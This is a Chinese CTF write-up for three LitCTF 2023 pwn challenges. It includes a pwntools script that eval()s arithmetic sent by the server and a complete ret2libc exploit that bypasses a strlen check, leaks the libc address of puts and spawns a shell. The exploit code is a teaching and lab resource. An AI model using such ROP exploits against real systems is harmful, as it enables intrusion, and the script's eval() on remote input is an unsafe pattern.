LitCTF PWN题解

1.[LitCTF 2023]只需要nc一下~

 直接nc之后ls查看一下目录,看到一个dockerfile,cat一下就能发现打开flag文件的方式

输入echo $flag拿到flag。

2.[LitCTF 2023]口算题卡

nc之后发现想让我们做100道100以内加减运算,直接口算就行了(雾)。

下面是脚本:

from pwn import*

s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever: io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr: io.success(buf + "==>" + hex(addr))

io = remote("node4.anna.nssctf.cn",28789)
i = 0
while i<100:
    try:
       if i == 0:
           ru("n!\n")
           p = rl()
           equation = p[8:-2] 
           pay = eval(equation)
           print(equation)
           print(pay)
           sl(str(pay))
           i+=1
       else:
            ru("t!\n")
            p = rl()
            equation = p[8:-2] 
            pay = eval(equation)
            print(equation)
            print(pay)
            sl(str(pay))
            i+=1
    except Exception as e:
        print("Exception occurred:", e)
        break
io.interactive()
 

 运行效果:

 

 3.[LitCTF 2023]狠狠的溢出涅~

出题人你是懂的~

咳咳,接下来是正题。先把原件checksec一下:

然后放到ida里看看:

看看c伪代码,很容易看出是ret2libc题,并且对read读入的数据有一个strlen的判断,如果大于0x50就跳出。

strlen好办,只要在填充数据时在不超过0x50的地方加一个\x00绕过就OK了;

接下来就是正常的64位ret2libc过程,找一个pop寄存器和ret地址,用这条指令:ROPgadget --binary pwn --only 'pop|ret'

这里我们选用pop_rdi,然后构造rop链泄露puts函数的地址并返回main函数,构造如下:

payload1 = b"\x00".ljust(0x68,b'a') + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x4006B0)

 然后通过给的libc文件计算偏移,得到system函数和/bin/sh字符串的地址。

完整exp:

from pwn import *
from LibcSearcher import *

context.log_level = "debug"
io = remote('node5.anna.nssctf.cn',28128)
elf = ELF('./pwn4')
libc = ELF('./libc-2.31.so')
pop_rdi_ret = 0x4007d3 
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ret_addr = 0x400556 

payload1 = b"\x00".ljust(0x68,b'a') + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x4006B0)

io.sendlineafter('message:\n',payload1)

#puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

#libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.sym["puts"]
system = libc_base + libc.symbols['system']
binsh = libc_base+next(libc.search(b"/bin/sh\x00"))
#binsh = libc_base + libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))
payload2 = b"\x00".ljust(0x68,b'a') + p64(ret_addr) + p64(pop_rdi_ret) +p64(binsh) + p64(system) #

io.sendlineafter('message:\n',payload2)
io.interactive()
 

 运行效果如下:

 拿到shell

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值